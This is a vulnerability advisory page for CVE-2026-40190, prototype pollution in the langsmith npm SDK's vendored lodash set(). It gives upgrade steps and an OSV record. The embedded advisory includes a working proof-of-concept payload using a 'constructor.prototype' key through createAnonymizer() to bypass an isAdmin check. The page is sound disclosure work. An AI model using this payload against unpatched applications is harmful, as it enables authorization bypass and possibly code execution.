CVE-2026-40190: Langsmith LangSmith Client SDKs Has Prototype Vulnerability
MODERATECVE-2026-40190 is a MODERATE (CVSS 5.6) langsmith client sdks has prototype vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Langsmith libraries in the npm ecosystem. The issue involves langsmith client sdks has prototype pollution in langsmith-sdk via incomplete `__proto__` guard in internal lodash `set()`. Remediation is available by upgrading affected packages to version 0.5.18.
CVE-2026-40190 at a Glance
Security Impact
CVSS: 5.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L).
How to Fix CVE-2026-40190
To remediate this vulnerability, upgrade all affected Langsmith dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install langsmith@0.5.18
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls langsmith
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-40190, inspect your project dependencies using npm:
npm ls langsmith
Analyze the terminal output to locate any version of Langsmith in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.18), your application is affected.
Note: The npm ls langsmith command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Langsmith, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40190 Affected Langsmith Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
langsmith
|
npm |
< 0.5.18
|
0.5.18
|
References
Frequently Asked Questions
What is CVE-2026-40190?
Which Langsmith versions are affected?
What version fixes CVE-2026-40190?
Is langsmith affected?
What is the CVSS score of CVE-2026-40190?
What CWE is associated with CVE-2026-40190?
How can I check npm dependencies for CVE-2026-40190?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fw9q-39r9-c252",
"modified" : "2026-04-10T21:37:36Z",
"published" : "2026-04-10T20:18:02Z",
"aliases" : [ "CVE-2026-40190" ],
"summary" : "LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`",
"details" : "# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk`\n\n**Severity:** Medium (CVSS ~5.6)\n**Status:** Fixed in 0.5.18\n\n---\n\n## Summary\n\nThe LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process.\n\n---\n\n## Affected Products\n\n| Product | Affected Versions | Component |\n|---------|-------------------|-----------|\n| `langsmith` (npm) | <= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` |\n| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |\n\n**Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern.\n\n---\n\n## Root Cause\n\nThe SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution:\n\n```typescript\nfunction baseAssignValue(object: Record<string, any>, key: string, value: any) {\n if (key === \"__proto__\") {\n Object.defineProperty(object, key, {\n configurable: true, enumerable: true, value: value, writable: true,\n });\n } else {\n object[key] = value; // ← No guard for \"constructor\" or \"prototype\" keys\n }\n}\n```\n\nThis blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `\"constructor.prototype.polluted\"`:\n\n1. `castPath()` splits it into `[\"constructor\", \"prototype\", \"polluted\"]`\n2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype`\n3. `assignValue(Object.prototype, \"polluted\", value)` calls `baseAssignValue()`\n4. Key is `\"polluted\"` (not `\"__proto__\"`), so the guard is bypassed\n5. `Object.prototype.polluted = value` — all objects are polluted\n\n---\n\n## Attack Vector via Anonymizer\n\nThe `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by:\n\n1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys\n2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`)\n3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`)\n\nAn attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`:\n\n```javascript\n{\n wrapper: {\n \"constructor.prototype.isAdmin\": \"contains-secret-pattern\"\n }\n}\n```\n\n`extractStringNodes()` produces path `\"wrapper.constructor.prototype.isAdmin\"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`.\n\nAlthough `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy.\n\n---\n\n## Proof of Concept\n\n```javascript\nimport { createAnonymizer } from \"langsmith/anonymizer\";\n\nconst anonymizer = createAnonymizer([\n { pattern: \"secret\", replace: \"[REDACTED]\" }\n]);\n\nconsole.log(\"BEFORE:\", ({}).isAdmin); // undefined\n\nconst maliciousInput = {\n wrapper: {\n \"constructor.prototype.isAdmin\": \"this-is-secret-data\"\n }\n};\n\nanonymizer(maliciousInput);\n\nconsole.log(\"AFTER:\", ({}).isAdmin); // \"this-is-[REDACTED]-data\"\nconsole.log(\"Array:\", [].isAdmin); // \"this-is-[REDACTED]-data\"\n\nfunction checkAccess(user) {\n if (user.isAdmin) return \"ACCESS GRANTED\";\n return \"ACCESS DENIED\";\n}\nconsole.log(checkAccess({ name: \"bob\" })); // \"ACCESS GRANTED\" ← BYPASSED\n```\n\n---\n\n## Impact\n\nPrototype pollution in a Node.js process can enable:\n\n1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects\n2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks\n3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects\n4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values\n\n---\n\n## Remediation\n\nIn `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys:\n\n```typescript\nfunction baseAssignValue(object, key, value) {\n if (key === \"__proto__\" || key === \"constructor\" || key === \"prototype\") {\n Object.defineProperty(object, key, {\n configurable: true, enumerable: true, value, writable: true,\n });\n } else {\n object[key] = value;\n }\n}\n```\n\nAs defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`.\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-24 | Initial report submitted |\n| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |\n\n---\n\n## Credits\n\nReported by: OneThing4101",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "langsmith"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.5.18"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.5.17"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40190"
}, {
"type" : "WEB",
"url" : "https://github.com/langchain-ai/langsmith-sdk/pull/2690"
}, {
"type" : "WEB",
"url" : "https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/langchain-ai/langsmith-sdk"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1321" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-10T20:18:02Z",
"nvd_published_at" : "2026-04-10T20:16:24Z"
}
}